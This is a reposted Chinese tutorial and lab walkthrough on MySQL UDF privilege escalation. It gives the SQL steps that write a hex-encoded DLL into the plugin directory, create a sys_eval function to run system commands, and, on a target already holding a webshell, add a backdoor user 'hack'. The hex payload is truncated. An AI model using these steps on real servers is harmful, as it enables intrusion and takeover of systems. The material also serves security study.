MySQL UDF提權執行系統命令


UDF介紹

UDF (user defined function),即用戶自定義函數。是通過添加新函數,對MySQL的功能進行擴充,其實就像使用本地MySQL函數如 user() 或 concat() 等。
假設我的UDF文件名為 udf.dll,存放在MySQL安裝目錄的 lib/plugin 目錄下。在 udf.dll 文件中,定義了名為 sys_eval 的mysql函數,該函數可以執行系統任意命令。但是如果現在就打開MySQL命令行,使用 select sys_eval('dir');的話,系統會返回sys_eval() 函數未定義。因為僅僅是把 udf.dll 放到了 lib/plugin 目錄下,並沒有引入。類似於面向對象編程時引入包一樣,如果沒有引入包,那么這個包里的類你是用不了的。
實例用法:

create function sys_eval returns string soname 'udf.dll';

只有兩個變量:

  • 一個是 function_name(函數名),我們想引入的函數是 sys_eval。
  • 還有一個變量是 shared_library_name(共享包名稱),即 udf.dll 。
select * from mysql.func where name = 'sys_eval';    #查看創建的sys_eval函數
select sys_eval('whoami');                           #使用系統命令
  • 當 MySQL< 5.2 版本時,將 .dll 文件導入到 c:\windows 或者c:\windows\system32 目錄下。
  • 當 MySQL> 5.2 版本時,將 .dl l文件導入到 C:\Program Files\MySQL\MySQL Server 5.4\lib\plugin 目錄下。
  • 掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數,一般以root賬號為佳,具備`root賬號所具備的權限的其它賬號也可以。
  • 可以將udf.dll寫入到相應目錄的權限。
  • udf提權也是一般應用於win2000、win2003系統

UDF提權步驟

1)查看 secure_file_priv 的值

show global variables like 'secure%';
     當 secure_file_priv 的值為 null ,表示限制 mysqld 不允許導入|導出,此時無法提權
     當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導入|導出只能發生在 /tmp/ 目錄下,此時也無法提權
     當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制,此時可提權

secure_file_priv 的值在MySQL數據庫的安裝目錄的 my.ini 文件中配置。

2)查看plugin的值

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
        當 plugin 的值為空時不可提權
        當 plugin 值為 mysql_native_password時可通過賬戶連接提權

3)查看系統架構以及plugin目錄

show variables like '%compile%';             #查看主機版本及架構
show variables like 'plugin%';               #查看 plugin 目錄

這里是x64位的系統,我們可以去kali中/usr/share/metasploit-framework/data/exploits/mysql/目錄下載64位的 .dll 文件。(由於這里可能MSF更改過,所以路徑有所不同)

4)將dll文件寫入plugin目錄,並且創建函數

創建一個表並將二進制數據插入到十六進制編碼流中。你可以通過insert語句或將其分解為多個部分,然后通過update語句拼接二進制數據。

create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dump file "C:\\phpstudy_pro\\Extensions\\MySQL8.0.12\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll';   #創建函數sys_eval

5)使用系統命令

在將 udf.dll 文件寫入plugin目錄后,就可以使用 sys_eval 函數了。

select * from mysql.func where name = 'sys_eval';    #查看創建的sys_eval函數
select sys_eval('whoami');                           #使用系統命令
drop function cmdshell;                             #刪除函數
delete from mysql.func where name='cmdshell'        #刪除函數

UDF提權復現(php環境)

靶機環境:Windows Server 2003 、php 5.4.3 、 Apache2.4.23

這里已經通過上傳一句話木馬拿到網站的shell了,並且得到了網站數據庫的用戶名和密碼都是root。但是因為獲得的系統用戶權限太低,無法創建新用戶。而且也不能使用其他提權等手段。所以,我們現在要做的就是使用UDF進行提權。
我們把 phpspy.php 和 udf.php 兩個文件上傳到網站服務器
然后先訪問 phpspy.php 頁面,MySQL Manager——>輸入數據庫的密碼——>選擇一個數據庫
由於MySQL>5.2版本后,在其安裝目錄的lib目錄下沒有 plugin 目錄,所以,我們得新建這個目錄,並且將我們的 udf.dll 文件放入 plugin目錄下,我們執行下面命令,完成創建plugin目錄,並且將udf.dll放入該目錄下

select 'xxxxxx' into dumpfile 'C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION'

然后我們訪問 udf.php 頁面,並且用數據庫的賬戶名和密碼登錄。
然后我們點擊 Dump UDF ,提示Dump DLL Success !
然后我們點擊 Create Function,下面就會有 select shell('cmd','whoami') ,然后我們點擊 Mysql_query ,下面就會有whoami命令的執行結果
我們可以把命令換成 net user hack 123 /add ,新建一個用戶,可以看到成功了!然后我們接下來吧hack用戶添加到administrators管理員組內,就可以遠程登錄了!

參考鏈接

https://blog.csdn.net/qq_36119192/article/details/84863268


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM